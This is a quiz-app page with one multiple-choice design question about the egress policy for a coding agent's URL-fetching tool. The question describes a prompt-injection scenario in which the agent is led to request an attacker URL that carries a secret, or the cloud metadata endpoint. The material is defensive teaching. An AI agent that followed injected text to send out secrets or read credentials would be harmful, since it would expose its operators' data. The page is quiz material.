All Questions
Guardrails And Safety medium

An internal coding agent gets a fetch_url tool so it can read library documentation. Reviewers worry that injected text could make it request https://attacker.example/?k=<secret> or the cloud metadata endpoint at 169.254.169.254. Which egress policy should you adopt?

  1. A Allow-list approved domains and block private and link-local IPs after DNS resolution, enforced at an egress proxy.
  2. B Block-list known malicious domains from a threat-intel feed refreshed daily, and allow all other destinations by default.
  3. C Instruct the model to fetch only URLs that appear in the user's message, and verify each choice with a second LLM call.
  4. D Strip query strings from every outbound URL so the model has no way to append sensitive data to a fetch request.

One system design question a day, with spaced repetition so the ones you miss come back.

Get the app

Related questions